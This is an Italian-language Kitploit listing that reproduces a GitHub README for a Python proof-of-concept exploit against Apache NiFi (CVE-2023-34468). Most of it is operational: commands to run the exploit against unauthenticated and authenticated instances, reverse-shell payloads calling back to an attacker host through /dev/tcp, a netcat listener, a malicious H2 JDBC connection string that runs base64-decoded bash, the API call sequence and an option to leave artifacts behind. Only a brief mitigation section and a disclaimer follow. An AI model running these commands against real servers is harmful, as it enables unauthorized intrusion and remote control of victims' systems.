Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2023-34468 — CVE-2023-34468 - Apache NiFi H2 RCE PoC | Kitploit
Strumenti/GitHubGitHub/jeanpt/cve-2023-34468
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneSviluppo Payload
GitHubjeanpt/cve-2023-34468

CVE-2023-34468

CVE-2023-34468 - Apache NiFi H2 RCE PoC

Vedi Repository
3 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2023-34468 Exploit

GitHub stars GitHub license

Panoramica

Questo repository fornisce uno strumento di exploit basato su Python per CVE-2023-34468, una vulnerabilità critica di esecuzione remota di codice (CVSS 9.8) nelle versioni di Apache NiFi dalla 0.0.2 alla 1.21.0. Consente agli utenti autenticati di eseguire codice arbitrario manipolando le stringhe di connessione al database H2 con trigger incorporati.

⚠️ Avvertenza: Solo per scopi educativi e test autorizzati. L'accesso non autorizzato a sistemi informatici è illegale.

Dettagli della vulnerabilità

  • ID CVE: CVE-2023-34468
  • Versioni interessate: Apache NiFi 0.0.2–1.21.0
  • Impatto: Esecuzione remota di codice (RCE)
  • Punteggio CVSS: 9.8 (Critico)
  • Data di scoperta: 12 giugno 2023
  • Descrizione: I servizi controller DBCPConnectionPool e HikariCPConnectionPool consentono agli utenti di configurare un URL del database con il driver H2 che abilita l'esecuzione arbitraria di codice Java tramite la funzionalità CREATE TRIGGER di H2. Quando viene inizializzata una connessione, il codice JavaScript incorporato viene eseguito con i privilegi di NiFi.

Prerequisiti

  • Python 3.7+
  • Libreria requests
  • Accesso di rete all'API di NiFi (porta predefinita 8080 o 8443)
  • Istanza NiFi di destinazione senza autenticazione OPPURE credenziali valide
  • Configurazione di un listener per la reverse shell (es. nc -lnvp 5555)

Avvio rapido

Clonazione e installazione

root@kitploit:~
git clone https://github.com/Jeanpt/CVE-2023-34468.git
cd CVE-2023-34468
pip install -r requirements.txt

NiFi non autenticato (nessuna credenziale richiesta)

root@kitploit:~
# Start your listener
nc -lnvp 5555

# Run the exploit — auth is auto-detected, no flags needed for open instances
python3 exploit.py \
  -t http://nifi.target.com:8080 \
  -c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
  -lh ATTACKER_IP \
  -lp 5555

NiFi autenticato (nome utente/password)

root@kitploit:~
python3 exploit.py \
  -t https://nifi.target.com:8443 \
  -c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
  -lh ATTACKER_IP \
  -lp 5555 \
  -u admin -p password123

NiFi autenticato (bearer token)

root@kitploit:~
python3 exploit.py \
  -t https://nifi.target.com:8443 \
  -c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
  -lh ATTACKER_IP \
  -lp 5555 \
  --token <your_bearer_token>

Salta la pulizia (lascia artefatti sul sistema di destinazione)

root@kitploit:~
python3 exploit.py -t http://target:8080 -c "..." -lh ATTACKER_IP -lp 5555 --no-cleanup

Tutte le opzioni

root@kitploit:~
python3 exploit.py --help

Verifica: Controlla il tuo listener per la connessione della reverse shell. Esegui id per confermare l'esecuzione del codice.

Come funziona (Dettagli tecnici)

Flusso dell'attacco

  1. Ricognizione: Identifica la versione di NiFi tramite /nifi-api/system-diagnostics
  2. Creazione del servizio DBCP: Invia tramite POST la stringa di connessione H2 dannosa a /nifi-api/process-groups/root/controller-services
  3. Creazione del processore: Invia tramite POST un processore ExecuteSQL allo stesso process group
  4. Configurazione del processore: Associa il processore al servizio DBCP dannoso
  5. Abilitazione del servizio: Invia tramite PUT a /nifi-api/controller-services/{id}/run-status con stato ENABLED
  6. Attivazione della RCE: Invia tramite PUT a /nifi-api/processors/{id}/run-status con stato RUNNING — il trigger H2 viene attivato alla connessione

Struttura del payload H2

root@kitploit:~
jdbc:h2:file:/tmp/{random_db}.db;TRACE_LEVEL_SYSTEM_OUT=0\;CREATE TRIGGER {random_name}
BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript
java.lang.Runtime.getRuntime().exec('bash -c {echo,BASE64_PAYLOAD}|{base64,-d}|{bash,-i}')
$$--=x

Punti chiave:

  • Esegui l'escape del punto e virgola con una barra rovesciata: \;
  • Il codice JavaScript viene attivato su BEFORE SELECT ON INFORMATION_SCHEMA.TABLES (attivato automaticamente)
  • Codifica il payload in Base64 per evitare problemi con i caratteri speciali
  • I segni di uguale di padding vengono sostituiti con spazi per evitare problemi di parsing di H2

Esempi di payload

Reverse shell

root@kitploit:~
# Run exploit directly
python3 exploit.py -t http://target:8080 -c "bash -i >& /dev/tcp/10.10.16.46/5555 0>&1" -lh 10.10.16.46 -lp 5555

Esecuzione di comandi

root@kitploit:~
python3 exploit.py -t http://target:8080 -c "touch /tmp/pwned" -lh 127.0.0.1 -lp 5555

Mitigazione

  • Aggiornamento: Esegui l'upgrade ad Apache NiFi 1.22.0 o versioni successive
  • Controllo degli accessi: Limita l'accesso all'API di NiFi tramite firewall/WAF
  • Autenticazione: Abilita e applica l'autenticazione su NiFi
  • Monitoraggio: Tieni sotto controllo configurazioni anomale dei servizi controller
  • Segmentazione di rete: Isola NiFi dalle reti non fidate

Riferimenti

  • NVD - CVE-2023-34468
  • Avviso di sicurezza Apache NiFi
  • NIFI-11653 - Tracker dei problemi
  • Discussione sulla mailing list Apache

Dichiarazione di esclusione di responsabilità

Questo strumento è fornito esclusivamente per la ricerca sulla sicurezza e test autorizzati. L'autore non è responsabile per usi impropri o danni causati da questo exploit. Esegui sempre test in modo responsabile e solo in ambienti autorizzati.

Crediti

  • Scoperta: Matei "Mal" Badanoiu
  • Modulo Metasploit: h00die
  • POC Python: Jean

Licenza

Licenza MIT - Vedi il file LICENSE per i dettagli


Progettato per la ricerca sulla sicurezza e i test di penetrazione autorizzati.

Argomenti: apache-nifi h2-database rce exploit cve-2023-34468 python security-research

Scarica lo strumento
ComandoDescrizione
-t, --targetURL dell'istanza NiFi di destinazione (obbligatorio)
-c, --commandComando da eseguire (obbligatorio)
-lh, --lhostHost del listener per il callback (obbligatorio)
-lp, --lportPorta del listener per il callback (obbligatorio)
-u, --usernameNome utente NiFi (istanze autenticate)
-p, --passwordPassword NiFi (istanze autenticate)
--tokenBearer token (istanze autenticate)
--no-cleanupSalta la pulizia dopo lo sfruttamento
--delaySecondi di attesa prima della pulizia (predefinito: 10)
--driver-pathSovrascrive il percorso del jar del driver H2 (omesso di default)